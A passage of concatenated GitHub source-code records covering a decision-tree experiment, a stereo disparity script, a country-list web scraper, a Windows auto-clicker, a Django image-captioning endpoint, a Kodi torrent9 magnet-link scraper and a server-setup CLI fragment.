\"Enrollment\"\n assert x.ItemGroupDataSeq.get_value() == \"10000000\"\n assert x.TransactionType.get_value() == \"EN\"\n\n out_put(test_data)\n\n\n\n","repo_name":"thcpc/pyodm","sub_path":"src/pyodm/tests/operate/test_stream.py","file_name":"test_stream.py","file_ext":"py","file_size_in_byte":4742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"29070336833","text":"import pandas as pd\nfrom tools import entropy, norm2_error\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\n\nclass Node:\n satisfying_gain = None\n\n def __init__(self, *classes_data, depth=0, satisfying_gain=None):\n self.classes_data = classes_data\n self.feature_splitter_index = -1 # if still it's -1 after the training so this is a terminal node\n self.feature_splitter_values = None\n self.children = None # stand for the best class in terminal nodes\n self.depth = depth\n self.most_populous = -1 # best class in this node\n if satisfying_gain is not None:\n Node.satisfying_gain = satisfying_gain\n\n def entropy(self):\n return entropy(*[len(c_data) for c_data in self.classes_data])\n\n def get_total_data_size(self):\n return sum(len(c_data) for c_data in self.classes_data)\n\n def __find_most_populous(self):\n best_size = 0\n best_class = -1\n for c_iter, c_data in enumerate(self.classes_data):\n if len(c_data) > best_size:\n best_size = len(c_data)\n best_class = c_iter\n return best_class\n\n def make_best_splitter(self):\n # if self.depth > MAX_DEPTH:\n # self.most_populous = self.__find_most_populous()\n # self.children = self.most_populous\n # return # it's a terminal node\n\n not_zero_classes = 0\n for c_iter, c_data in enumerate(self.classes_data):\n if len(c_data) is not 0:\n if not_zero_classes == 0:\n not_zero_classes = 1\n self.children = c_iter\n else:\n not_zero_classes = 2\n break\n if not_zero_classes < 2:\n # print('--', self.depth)\n return # it's a terminal node\n\n node_data_size = self.get_total_data_size()\n min_info_split = float('inf')\n\n for fi in range(num_of_features):\n fi_values = set([])\n for c_iter, c_data in enumerate(self.classes_data):\n c_data_f_values = []\n for d in c_data:\n c_data_f_values.append(d[fi])\n fi_values = fi_values.union(set(c_data_f_values))\n fi_values = list(fi_values)\n\n children = []\n for i in range(len(fi_values)):\n init_data = []\n for j in range(len(self.classes_data)):\n init_data.append([])\n children.append(Node(*init_data, depth=self.depth+1))\n\n for c_iter, c_data in enumerate(self.classes_data):\n for d in c_data:\n d_fi = d[fi]\n children[fi_values.index(d_fi)].classes_data[c_iter].append(d)\n\n info_split = 0\n for child in children:\n info_split += (child.get_total_data_size() / node_data_size) * child.entropy()\n\n if info_split < min_info_split:\n min_info_split = info_split\n self.feature_splitter_index = fi\n self.feature_splitter_values = fi_values\n self.children = children\n\n best_info_gain = self.entropy() - min_info_split # best information gain\n\n self.most_populous = self.__find_most_populous()\n self.classes_data = None # we don't need data in this node anymore\n\n if Node.satisfying_gain is not None and best_info_gain < Node.satisfying_gain:\n # print('depth & gain: ', self.depth, best_info_gain)\n self.feature_splitter_index = -1\n self.children = self.most_populous\n return # it's a terminal node\n\n for c_id in range(len(self.children)):\n self.children[c_id].make_best_splitter()\n\n def get_class(self, x):\n if self.feature_splitter_index == -1:\n return self.children\n x_f_value = x[self.feature_splitter_index]\n if x_f_value in self.feature_splitter_values:\n child_index = self.feature_splitter_values.index(x_f_value)\n return self.children[child_index].get_class(x)\n return self.most_populous # for other options that hadn't seen in the train data\n\n def get_number_of_nodes(self):\n if self.feature_splitter_index == -1:\n return 1\n return sum([child.get_number_of_nodes() for child in self.children]) + 1\n\n\n# MAX_DEPTH = 700\n\n\nif __name__ == '__main__':\n dataset = pd.read_csv('noisy_valid.csv')\n v_x = dataset.iloc[:, 1:].values.tolist()\n v_y = dataset.iloc[:, 0].values.tolist()\n dataset = pd.read_csv('noisy_train.csv')\n tr_x = dataset.iloc[:, 1:].values.tolist()\n tr_y = dataset.iloc[:, 0].values.tolist()\n dataset = pd.read_csv('noisy_test.csv')\n te_x = dataset.iloc[:, 1:].values.tolist()\n te_y = dataset.iloc[:, 0].values.tolist()\n\n num_of_features = len(v_x[0])\n\n class0_data = []\n class1_data = []\n for i in range(len(v_y)):\n if v_y[i] == 0:\n class0_data.append(v_x[i])\n else:\n class1_data.append(v_x[i])\n\n number_of_nodes = []\n valid_errs = []\n train_errs = []\n test_errs = []\n for i in range(1000):\n satisfying_gain = i / 1000\n print('satisfying gain:', satisfying_gain)\n decision_tree_r = Node(class0_data, class1_data, satisfying_gain=satisfying_gain)\n decision_tree_r.make_best_splitter()\n\n # print('Number of nodes:', decision_tree_r.get_number_of_nodes())\n number_of_nodes.append(decision_tree_r.get_number_of_nodes())\n\n y_pred_on_valid = []\n for i in range(len(v_x)):\n y_pred_on_valid.append(decision_tree_r.get_class(v_x[i]))\n # print('Error on valid data (euclidean distance): ', norm2_error(v_y, y_pred_on_valid))\n valid_errs.append(norm2_error(v_y, y_pred_on_valid))\n\n y_pred_on_train = []\n for i in range(len(tr_x)):\n y_pred_on_train.append(decision_tree_r.get_class(tr_x[i]))\n # print('Error on train data (euclidean distance): ', norm2_error(tr_y, y_pred_on_train))\n train_errs.append(norm2_error(tr_y, y_pred_on_train))\n\n y_pred_on_test = []\n for i in range(len(te_x)):\n y_pred_on_test.append(decision_tree_r.get_class(te_x[i]))\n # print('Error on test data (euclidean distance): ', norm2_error(te_y, y_pred_on_test))\n test_errs.append(norm2_error(te_y, y_pred_on_test))\n\n plt.plot(number_of_nodes, valid_errs, 'b')\n plt.plot(number_of_nodes, train_errs, 'g')\n plt.plot(number_of_nodes, test_errs, 'r')\n\n plt.legend(handles=[\n mpatches.Patch(color='blue', label='valid'),\n mpatches.Patch(color='green', label='train'),\n mpatches.Patch(color='red', label='test')\n ])\n plt.xlabel('Number of nodes')\n plt.ylabel('Error (euclidean distance)')\n plt.show()\n","repo_name":"1997alireza/DataMining","sub_path":"HW2/q8.py","file_name":"q8.py","file_ext":"py","file_size_in_byte":6874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13056204781","text":"#!/usr/bin/env python3\n\nfrom PIL import Image\nimport fargv\nimport sys\nsys.path.append(\".\")\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport ex4\n\np = {\n \"left\": \"./data/ex4/tsukuba_1.png\",\n \"right\": \"./data/ex4/tsukuba_2.png\",\n \"sigma_x\": 1.,\n \"sigma_z\": 1.,\n \"median_filter_size\": 3,\n }\n\n\nif __name__ == \"__main__\":\n # loading the parameters\n p, _ = fargv.fargv(p)\n\n # loading the images\n left_img = np.asarray(Image.open(p.left))\n right_img = np.asarray(Image.open(p.right))\n\n # computing the maximum translation between the two images OR\n # amount of pixels the camera translated while taking the second picture.\n max_translation = ex4.get_max_translation(left_img, right_img)\n print(\"Max translation:\", max_translation)\n\n dm_filtered = ex4.disparity_map(left_img,\n right_img,\n pad_size=np.abs(max_translation),\n offset=np.abs(max_translation),\n sigma_x=p.sigma_x,\n sigma_z=p.sigma_z, median_filter_size=p.median_filter_size)\n\n # Visualizing the disparity map\n plt.figure()\n plt.subplot(131)\n plt.imshow(left_img, cmap=\"gray\")\n plt.subplot(132)\n plt.imshow(right_img, cmap=\"gray\")\n plt.subplot(133)\n plt.imshow(dm_filtered, cmap=\"gray\")\n plt.axis('off')\n plt.show()\n\n # Visualizing the translation check\n plt.figure()\n plt.subplot(131)\n plt.imshow(left_img, cmap=\"gray\")\n plt.subplot(132)\n plt.imshow(right_img, cmap=\"gray\")\n plt.subplot(133)\n\n # Plot disparity uses bilinear_grid_sample (application of sampling field) internally\n d = ex4.plot_disparity(left_img, dm_filtered[:, :left_img.shape[1]])\n plt.imshow(np.uint8(d), cmap=\"gray\")\n plt.show()\n\n\n","repo_name":"sujitdebnath/fau-cv-exercises-ss23","sub_path":"bin/run_ex4.py","file_name":"run_ex4.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"74111483747","text":"table = [list(map(int, input().split())) for _ in range(9)]\n# 한줄씩 9번 반복하며 list에 값 입력\nmax_num = 0\n# max_num을 0으로 초기��\nmax_row, max_col = 0, 0\n# max_row와 max)col을 각각 0으로 초기화\nfor row in range(9):\n# row 변수를 통해 9번 반복 (열 반복)\n for col in range(9):\n # col 변수를 통해 9번 반복 (행 반복)\n if max_num <= table[row][col]:\n # 각각 반복 횟수에 맞는 형과 열의 데이터 값의 최대값을 찾는다\n max_row = row + 1\n # max_row는 찾은 데이터 값에 1을 더한다 왜냐면 주어진 데이터 값에 열의 번호가 적혀있기문때문\n max_col = col + 1\n # max_row의 방식과 동일\n max_num = table[row][col]\n # 반복문을 통해 찾은 최대 값을 max_num에 넣어준다\nprint(max_num)\n# 최대값 출력\nprint(max_row, max_col)\n# 최대값의 행, 열 위치 \n","repo_name":"Artinto/2023_AI_python_study","sub_path":"[0417]/[코딩]/[2차원 배열]/[최댓값]/[CES]최댓값.py","file_name":"[CES]최댓값.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"19721532515","text":"import sys\r\nimport os\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nurl = 'https://simple.wikipedia.org/wiki/List_of_countries_by_continents'\r\n#url = 'https://blog.talosintelligence.com/2020/10/threat-roundup-1016-1023.html'\r\n#url = sys.argv[1]\r\nprint(url)\r\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\r\npage = requests.get(url, headers=headers)\r\n#print(page.content.decode())\r\nprint(page)\r\n# Create a BeautifulSoup object\r\nsoup = BeautifulSoup(page.text, 'lxml')\r\n#print(soup)\r\n\r\nlst =[]\r\nf = open(\"listt.txt\", \"w\")\r\n\r\nfor i in (soup.find_all(\"ol\")):\r\n #print(i)\r\n for a in i.find_all(\"li\"):\r\n #print(a)\r\n #print(a.find(\"a\").get('href'))\r\n try:\r\n count = a.find(\"a\").get('href')\r\n count = count[6:]\r\n #print(count)\r\n lst.append(count)\r\n #print(lst)\r\n df = pd.DataFrame(lst, columns=[\"COUNTRIES\"])\r\n #print(df)\r\n f.write(count+ \"\\n\")\r\n except:\r\n pass\r\n#print(lst)\r\n#print(df)\r\nf.close()\r\nsoup = BeautifulSoup(page.text, \"lxml\")\r\ntxt = (t.text for t in soup.find_all(\"span\", class_=\"mw-headline\"))\r\nconti = list(txt)\r\nconti1 = conti[0:7]\r\ndf1= pd.DataFrame(conti1, columns=[\"CONTINENTS\"])\r\n#print(conti1)\r\n#print(df1)\r\na = pd.concat([df,df1], axis=1)\r\na.to_csv(\"continent.csv\", index=False)\r\nprint(a.head())","repo_name":"bhavanikallam/Web_Scrapingg","sub_path":"country_cont.py","file_name":"country_cont.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10250456697","text":"import ctypes\r\nimport sys\r\nimport time\r\nimport win32api, win32con, win32gui\r\n\r\nclass MouseAction(object):\r\n STOP_DISTANCE = 10\r\n CLICK_FREQUENCY = 0.5\r\n\r\n def autoClick(self):\r\n self.start_x, self.start_y = win32gui.GetCursorPos()\r\n x, y = None, None\r\n\r\n while not self._should_stop(x, y):\r\n print(2)\r\n x, y = win32gui.GetCursorPos()\r\n self._click()\r\n time.sleep(MouseAction.CLICK_FREQUENCY)\r\n\r\n def _click(self):\r\n x, y = win32gui.GetCursorPos()\r\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)\r\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)\r\n\r\n def _should_stop(self, x, y):\r\n ''' Stop when the cursor moved'''\r\n if x is None or y is None:\r\n return False\r\n\r\n return abs(self.start_x - x) > MouseAction.STOP_DISTANCE or abs(self.start_y - y) > MouseAction.STOP_DISTANCE\r\n\r\nif __name__ == '__main__':\r\n if ctypes.windll.shell32.IsUserAnAdmin():\r\n time.sleep(5) # time to move the cursor to the right place\r\n action = MouseAction()\r\n action.autoClick()\r\n else:\r\n ctypes.windll.shell32.ShellExecuteW(None, u\"runas\", sys.executable, __file__, None, 1)\r\n","repo_name":"Yalieee/mabinogi-tool","sub_path":"autoclick.py","file_name":"autoclick.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"21533847229","text":"from django.http import Http404\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom drf_yasg.utils import swagger_auto_schema\nfrom drf_yasg import openapi\nimport base64\nimport numpy as np\nimport cv2\nimport os\nimport six\nfrom google.cloud import translate_v2 as translate\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS']=\"credential.json\"\n\n# Create your views here.\nclass ImageCaptioning(APIView): \n \"\"\"\n 이미지 캡셔닝\n 입력: base64 img str\n 출력: str 캡셔닝 텍스트\n \"\"\"\n @swagger_auto_schema(request_body=openapi.Schema(\n type=openapi.TYPE_OBJECT, \n properties={\n 'img': openapi.Schema(type=openapi.TYPE_STRING, description='string'),\n }\n ))\n def post(self, request, format=None):\n \"\"\"\"\"\"\n # request deserialize\n # img base64 str to numpy array\n if request.method == \"POST\":\n try:\n # print(request.data['img'])\n b64_img_byte_str = base64.b64decode(request.data['img'])\n tmp = np.frombuffer(b64_img_byte_str, np.uint8)\n img = cv2.imdecode(np.frombuffer(b64_img_byte_str, np.uint8), -1)\n # print(img)\n result = img.shape\n except Exception as e:\n print(e)\n result = \"not valid image\"\n else:\n result = \"request method must be POST\"\n return Response({\"result\":result}, content_type=u\"application/json; charset=utf-8\")\n\n\n # inference\n caption = evaluate(img)\n\n # translation\n ## 환경변수에 GOOGLE_APPLICATION_CREDENTIALS 옵션이 셋팅되어있어야 함\n ## https://cloud.google.com/translate/docs/basic/setup-basic\n result = google_translation(caption)\n\n return Response({\"result\":result}, content_type=u\"application/json; charset=utf-8\")\n\ndef google_translation(text:str) -> str:\n \"\"\" translating en to ko\n 입력: 영문 캡셔닝 결과\n 출력: 한글 번역 결과 \n \"\"\"\n try:\n # target lan을 한국어로 고정\n target = \"ko\"\n\n translate_client = translate.Client()\n\n if isinstance(text, six.binary_type):\n text = text.decode('utf-8')\n\n # Text can also be a sequence of strings, in which case this method\n # will return a sequence of results for each text.\n result = translate_client.translate(\n text, target_language=target)\n\n print(u'Text: {}'.format(result['input']))\n print(u'Translation: {}'.format(result['translatedText']))\n print(u'Detected source language: {}'.format(\n result['detectedSourceLanguage']))\n except Exception as e:\n print(e)\n return \"Error, not translated\"\n\n return result['translatedText']\n\ndef evaluate(img:np.array)->str:\n \"\"\" Image Captioning\n 입력: np.array uint8 이미지 데이터\n 출력: str caption 데이터\n \"\"\"","repo_name":"HwangJohn/visual-helper","sub_path":"visual_helper_be/imgcaptioning/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73580381667","text":"'''\r\nCreated on May 15, 2014\r\n\r\nModule containing classes for the heads up display.\r\n\r\n@author: Collin\r\n'''\r\nimport pygame\r\nimport global_vars\r\npygame.font.init()\r\n\r\nclass Text:\r\n\t''' Generic text display '''\r\n\r\n\tdef __init__(self, txt, pos, size=32):\r\n\t\tself.text = pygame.font.Font(None, size)\r\n\t\tself.pos = pos\r\n\t\tsurf = self.text.render(txt, False, pygame.Color('black'), (0, 110, 0))\r\n\t\tsurf = pygame.Surface.convert(surf)\r\n\t\tself.sprite = global_vars.layerManager.newSprite(surf, surf.get_rect())\r\n\t\tself.sprite.move(self.pos[0], self.pos[1])\r\n\r\n\tdef update(self, txt):\r\n\t\tsurf = self.text.render(txt, False, pygame.Color('black'), pygame.Color('white'))\r\n\t\tsurf = pygame.Surface.convert(surf)\r\n\t\t'''surf.set_colorkey(pygame.Color('white'))\r\n\t\tglobal_vars.window.blit(surf, self.pos)\r\n\t\treturn'''\r\n\t\tglobal_vars.layerManager.killSprite(self.sprite)\r\n\t\tself.sprite = global_vars.layerManager.newSprite(surf, surf.get_rect())\r\n\t\tself.sprite.TEXT_TEST = True\r\n\t\tself.sprite.move(self.pos[0], self.pos[1])\r\n\r\nclass TurnText(Text):\r\n\t''' Displays the turn number '''\r\n\r\n\tdef __init__(self, txt, pos, size=32):\r\n\t\tglobal_vars.eventManager.subscribe(self, 'turn')\r\n\t\tText.__init__(self, txt, pos, size)\r\n\r\n\tdef processEvent(self, e):\r\n\t\tself.update('' + str(e.t + 1))\r\n\r\n","repo_name":"collinbachi/Tanks","sub_path":"hud.py","file_name":"hud.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"72370385188","text":"# For question go to\n# https://www.hackerrank.com/contests/smart-interviews/challenges/si-lcm-and-hcf\n\ndef hcf(a, b):\n while(b):\n a, b = b, a % b\n return a\n\ndef lcm(a, b):\n ans = (a * b) // hcf(a, b)\n return ans\n\nif __name__ == \"__main__\":\n no_of_test_cases = int(input())\n while(no_of_test_cases > 0):\n num1, num2 = map(int, input().split())\n print(\"{} {}\".format(lcm(num1, num2), hcf(num1, num2)))\n \n no_of_test_cases -= 1","repo_name":"jpallavi23/Smart-Interviews","sub_path":"07_SI_Primary-Hackerrank/09_LCM and HCF.py","file_name":"09_LCM and HCF.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"10874862187","text":"# -*- coding: utf-8 -*-\n# Fork of Projects from Venom Fenomscrapers, TikiPeter FEN, CocoJoe2411 cocoscrapers\n\nimport re\nfrom urllib.parse import quote_plus\nfrom the_milk.modules import client\nfrom the_milk.modules import source_utils\nfrom the_milk.modules import workers\nfrom the_milk.modules import log_utils\nfrom the_milk.modules.cleantitle import normalize\n# from libs.web_pdb import WebPdb\n\nclass source:\n priority = 5\n pack_capable = True\n has_movies = True\n has_episodes = True\n\n def __init__(self):\n self.language = ['fr']\n\n self.base_link = \"https://torrent9.fm\"\n self.search_link = '/search_torrent'\n self.search_films_link = '/search_torrent/films'\n self.search_series_link = '/search_torrent/series'\n self.min_seeders = 0\n self.debug = False\n self._debug_it('Init')\n\n def _debug_it(self, msg, caller=None):\n if self.debug:\n log_utils.log('TORRENT9 | %s' % msg, caller, 1)\n\n # data = from TMDB api title,aliases etc...\n def sources(self, data, host_dict):\n self.sources = []\n if not data:\n self._debug_it('sources: no data')\n return self.sources\n\n self.sources_append = self.sources.append\n\n try:\n self.aliases = data['aliases']\n if 'tvshowtitle' in data:\n l_title = data['tvshowtitle'].lower().replace('&', 'and').replace('/', '-').replace('$', 's')\n self.title = normalize(l_title)\n self.episode_title = data['title'].lower()\n self.is_movie = False\n tmp_url = self.search_series_link\n self.year = ''\n self.hdlr = 'S%02dE%02d' % (int(data['season']), int(data['episode']))\n self.years = None\n else:\n l_title = data['title'].lower().replace('&', 'and').replace('/', '-').replace('$', 's')\n self.title = normalize(l_title)\n self.episode_title = None\n self.is_movie = True\n tmp_url = self.search_films_link\n self.year = data['year']\n self.hdlr = self.year\n try:\n self.years = [str(int(self.year)), str(int(self.year)-1), str(int(self.year) + 1)]\n except:\n self.years = None\n\n # query = '/%s' % re.sub(r'[^A-Za-z0-9\\s\\.-]+', '', self.title)\n query = l_title + ' ' + self.hdlr\n url = quote_plus(query)\n link = '%s%s/%s.html' % (self.base_link, tmp_url, url)\n\n self._debug_it('T=%s Y=%s H=%s A=%s' % (self.title, self.year, self.hdlr, self.aliases))\n self._debug_it('link=%s' % link)\n\n self.undesirables = source_utils.get_undesirables()\n self.check_foreign_audio = source_utils.check_foreign_audio()\n\n threads = []\n append = threads.append\n append(workers.Thread(self.get_sources, link))\n\n [i.start() for i in threads]\n [i.join() for i in threads]\n return self.sources\n\n except:\n log_utils.error()\n return self.sources\n\n def get_sources(self, link):\n link = re.sub(r'[\\n\\t]', '', link)\n if not link:\n return\n try:\n results = client.request(link, timeout=5)\n except:\n log_utils.error('https request search item')\n return\n if not results or '' not in result_html:\n continue\n\n information = client.parseDOM(result_html, 'div class=\"movie-information\"')\n if not information:\n continue\n\n detail = client.parseDOM(information, 'li')\n if not detail:\n continue\n self._debug_it('parsing of movie-information done')\n\n name_info = source_utils.info_from_name(name, self.title, self.year, self.hdlr, self.episode_title)\n\n self._debug_it('name_info=%s' % name_info)\n\n if source_utils.remove_lang(name_info, self.check_foreign_audio):\n continue\n if self.undesirables and source_utils.remove_undesirables(name_info, self.undesirables):\n continue\n\n seeders, dsize, isize, quality, info = 0, 0, 0, '', ''\n if len(detail) < 10:\n continue\n try:\n seeders = int(detail[2].replace(',', ''))\n except:\n seeders = 0\n\n quality, info = source_utils.get_release_quality(name_info, None)\n try:\n dsize, isize = source_utils._size(detail[9])\n info.insert(0, isize)\n except:\n dsize = 0\n info = ' | '.join(info)\n\n but_reds = re.findall('class=\"btn btn-danger download\" href=\"/.*?\"', result_html)\n if not but_reds:\n continue\n but_reds = but_reds[0]\n\n but_red_magnet_link = re.findall('href=\"(.*?)\"', but_reds)\n if not but_red_magnet_link:\n continue\n but_red_magnet_link = but_red_magnet_link[0]\n self._debug_it('but_red_magnet_link=%s' % but_red_magnet_link)\n\n magnet_link = '%s%s' % (self.base_link, str(but_red_magnet_link))\n self._debug_it('magnet_link=%s' % magnet_link)\n\n try:\n magnet = client.request(magnet_link, error=True, output='geturl', timeout=5)\n except Exception as e:\n self._debug_it('get_sources Exception %s' % str(e))\n continue\n\n if not magnet:\n continue\n magnet_and_filename = '%s&dn=%s' % (magnet, name)\n self._debug_it('magnet_and_filename=%s' % magnet_and_filename)\n\n hash_magnet = re.findall('xt=urn:btih:(.*)', magnet)\n if not hash_magnet:\n continue\n\n hash_magnet = hash_magnet[0]\n if len(hash_magnet) == 32:\n try:\n hash40 = source_utils.base32_to_hex(hash_magnet, 'get_sources')\n except:\n continue\n else:\n hash40 = hash_magnet\n\n self._debug_it('Len=%s hash40=%s' % (len(hash40), hash40))\n but_magnet_link = 'magnet:?xt=urn:btih:%s' % hash40\n\n self.sources_append(\n {'provider': 'torrent9', 'source': 'torrent', 'seeders': seeders, 'hash': hash40, 'name': name,\n 'name_info': name_info,\n 'quality': quality, 'language': 'fr', 'url': but_magnet_link, 'info': info, 'direct': False,\n 'debridonly': True,\n 'size': dsize})\n\n self._debug_it('APPEND name=%s' % name)\n self._debug_it('APPEND magnet=%s' % but_magnet_link)\n self._debug_it('APPEND seeders= %s hash= %s name= %s nameInfo= %s quality= %s size=%s url= %s' % (\n seeders, hash40, name, name_info, quality, isize, but_magnet_link))\n self._debug_it('-')\n\n def sources_packs(self, data, host_dict, search_series=False, total_seasons=None, bypass_filter=False):\n self.sources = []\n if not data:\n return self.sources\n\n self._debug_it('sources_packs')\n self.sources_append = self.sources.append\n\n try:\n self.search_series = search_series\n self.total_seasons = total_seasons\n self.bypass_filter = bypass_filter\n\n l_title = data['tvshowtitle'].lower().replace('&', 'and').replace('/', ' ').replace('$', 's')\n self.title = normalize(l_title)\n self.aliases = data['aliases']\n self.imdb = data['imdb']\n self.year = data['year']\n self.season_x = data['season']\n self.season_xx = self.season_x.zfill(2)\n self.undesirables = source_utils.get_undesirables()\n self.check_foreign_audio = source_utils.check_foreign_audio()\n\n # query = re.sub(r'[^A-Za-z0-9\\s\\.-]+', '', self.title)\n if search_series:\n season_url = '%s%s/%s' % (self.base_link, self.search_link, quote_plus(l_title + ' saison'))\n else:\n season_url = '%s%s/%s' % (\n self.base_link, self.search_link, quote_plus(l_title + ' saison %s' % self.season_x))\n\n threads = []\n append = threads.append\n append(workers.Thread(self.get_sources_packs, season_url))\n\n [i.start() for i in threads]\n [i.join() for i in threads]\n return self.sources\n\n except:\n log_utils.error()\n return self.sources\n\n def get_sources_packs(self, season_url):\n link = re.sub(r'[\\n\\t]', '', season_url)\n if not link:\n return\n\n try:\n results = client.request(link, timeout=5)\n except:\n log_utils.error('https request search Pack items')\n return\n\n if not results or '' not in result_html:\n continue\n information = client.parseDOM(result_html, 'div class=\"movie-information\"')\n if not information:\n continue\n detail = client.parseDOM(information, 'li')\n if not detail:\n continue\n self._debug_it('parsing of movie-information done')\n\n name_info = source_utils.info_from_name(name, self.title, self.year, season=self.season_x, pack=package)\n if source_utils.remove_lang(name_info, self.check_foreign_audio):\n continue\n if self.undesirables and source_utils.remove_undesirables(name_info, self.undesirables):\n continue\n self._debug_it('name_info=%s' % name_info)\n\n seeders, dsize, isize, quality, info = 0, 0, 0, '', ''\n if len(detail) < 3:\n continue\n try:\n seeders = int(detail[2].replace(',', ''))\n if self.min_seeders > seeders:\n continue\n except:\n seeders = 0\n\n quality, info = source_utils.get_release_quality(name_info, None)\n try:\n dsize, isize = source_utils._size(detail[9])\n info.insert(0, isize)\n except:\n dsize = 0\n info = ' | '.join(info)\n\n but_reds = re.findall('class=\"btn btn-danger download\" href=\"/.*?\"', result_html)\n if not but_reds:\n continue\n but_reds = but_reds[0]\n\n but_red_magnet_link = re.findall('href=\"(.*?)\"', but_reds)\n if not but_red_magnet_link:\n continue\n but_red_magnet_link = but_red_magnet_link[0]\n self._debug_it('but_red_magnet_link=%s' % but_red_magnet_link)\n\n magnet_link = '%s%s' % (self.base_link, but_red_magnet_link)\n try:\n magnet = client.request(magnet_link, error=True, output='geturl', timeout=5)\n except:\n log_utils.error()\n continue\n if not magnet:\n continue\n\n magnet_and_filename = '%s&dn=%s' % (magnet, name)\n self._debug_it('magnet_and_filename=%s' % magnet_and_filename)\n\n hash_magnet = re.findall('xt=urn:btih:(.*)', magnet)\n if not hash_magnet:\n continue\n hash_magnet = hash_magnet[0]\n\n if len(hash_magnet) == 32:\n try:\n hash40 = source_utils.base32_to_hex(hash_magnet, 'get_sources')\n self._debug_it('get_sources HASH40=%s' % hash40)\n except:\n continue\n else:\n hash40 = hash_magnet\n\n self._debug_it('Len=%s hash40=%s' % (len(hash40), hash40))\n item = {'provider': 'torrent9', 'source': 'torrent', 'seeders': seeders, 'hash': hash40, 'name': name,\n 'name_info': name_info, 'quality': quality,\n 'language': 'fr', 'url': magnet_and_filename, 'info': info, 'direct': False, 'debridonly': True,\n 'size': dsize,\n 'package': package}\n\n self._debug_it('APPEND PACKS name=%s' % name)\n self._debug_it('APPEND PACKS magnet=%s' % magnet_and_filename)\n self._debug_it('APPEND PACKS seeders= %s hash= %s name= %s nameInfo= %s quality= %s size=%s url= %s' % (\n seeders, hash40, name, name_info, quality, isize, magnet_and_filename))\n self._debug_it('-')\n\n if self.search_series:\n item.update({'last_season': last_season})\n\n elif episode_start:\n item.update({'episode_start': episode_start, 'episode_end': episode_end}) # for partial season packs\n\n self.sources_append(item)\n\n def main(self):\n from the_milk.modules.test_modules import Tests\n tests = Tests()\n #self.sources(tests.data_movie_1(), '')\n #self.sources(tests.data_serie_1(), '')\n #self.sources(tests.data_serie_2(), '')\n self.sources(tests.data_movie_4(), '')\n #self.sources_packs(tests.data_serie_packs_1(), '')\n #self.sources_packs(tests.data_serie_packs_2(), '')\n\n\nif __name__ == \"__main__\":\n t9 = source()\n t9.main()\n","repo_name":"elvis-gratton/script.module.the_milk","sub_path":"lib/the_milk/sources_the_milk/torrents/torrent9.py","file_name":"torrent9.py","file_ext":"py","file_size_in_byte":17673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73326592227","text":"import subprocess\nimport urllib.request\nimport re\nimport time\nimport os \nimport shutil\n\n#python3 -m http.server 8000\n\ndef get_terminal_width():\n return shutil.get_terminal_size().columns\nWIDTH = get_terminal_width()\n\nssh_setup = {\n \"updated\": \"false\",\n \"server host\": \"?\",\n \"public_key\": \"?\",\n \"private_key\": \"?\"\n}\n\n\"\"\"nginx = {\n \"updated\": \"false\",\n \"domain_name\": \"?\",\n \"host\": \"?\",\n \"port\": \"?\"\n}\"\"\"\n\ngmod = {\n \"updated\": \"false\",\n \"github_username\": \"?\",\n \"github_repo\": \"?\"\n}\n\nenv = {\n \"updated\": \"false\",\n \"server host\": \"?\",\n \"server port\": \"?\",\n \"web/proxy host\": \"?\",\n \"web/proxy port\": \"?\",\n}\n\"\"\"-----------------------------------------------------------CLI-----------------------------------------------------------\"\"\"\ndef display_boxed_info():\n os.system('clear' if os.name == 'posix' else 'cls')\n dec_(\" Entering Python Script \")\n dec(\"ssh setup\")\n for key, value in ssh_setup.items():\n c_format(f\"{key.capitalize()} = {value}\")\n dec(\"go_mod.txt\")\n for key, value in gmod.items():\n c_format(f\"{key.capitalize()} = {value}\")\n dec(\".env\")\n for key, value in env.items():\n c_format(f\"{key.capitalize()} = {value}\")\n dec_(\"*\")\n\ndef c_format(s):\n print(f\"* {s} \"+ \"*\".rjust(WIDTH - len(s) - 3))\n\ndef dec(s):\n print(\"* \" + (WIDTH - 4) * \" \" + \" *\" + \"\\n\" + \"* \" + s.center(WIDTH - 4, ' ') + \" *\" + \"\\n\" + \"* \" + (WIDTH - 4) * \" \" + \" *\")\n\ndef dec_(s):\n print(\"* \" + s.center(WIDTH - 4, '*') + \" *\")\n\ndef dec__(s):\n print(\"* \" + s.center(WIDTH - 4, ' ') + \" *\")\n\ndef update_env(key, value):\n if key in env:\n env[key] = value\n display_boxed_info()\n\ndef update_gmod(key, value):\n if key in gmod:\n gmod[key] = value\n display_boxed_info()\n\ndef update_ssh_setup(key, value):\n if key in ssh_setup:\n ssh_setup[key] = value\n display_boxed_info()\n\ndef write_env(_env):\n with open('./my_server_config/startup/_/.env', 'w') as 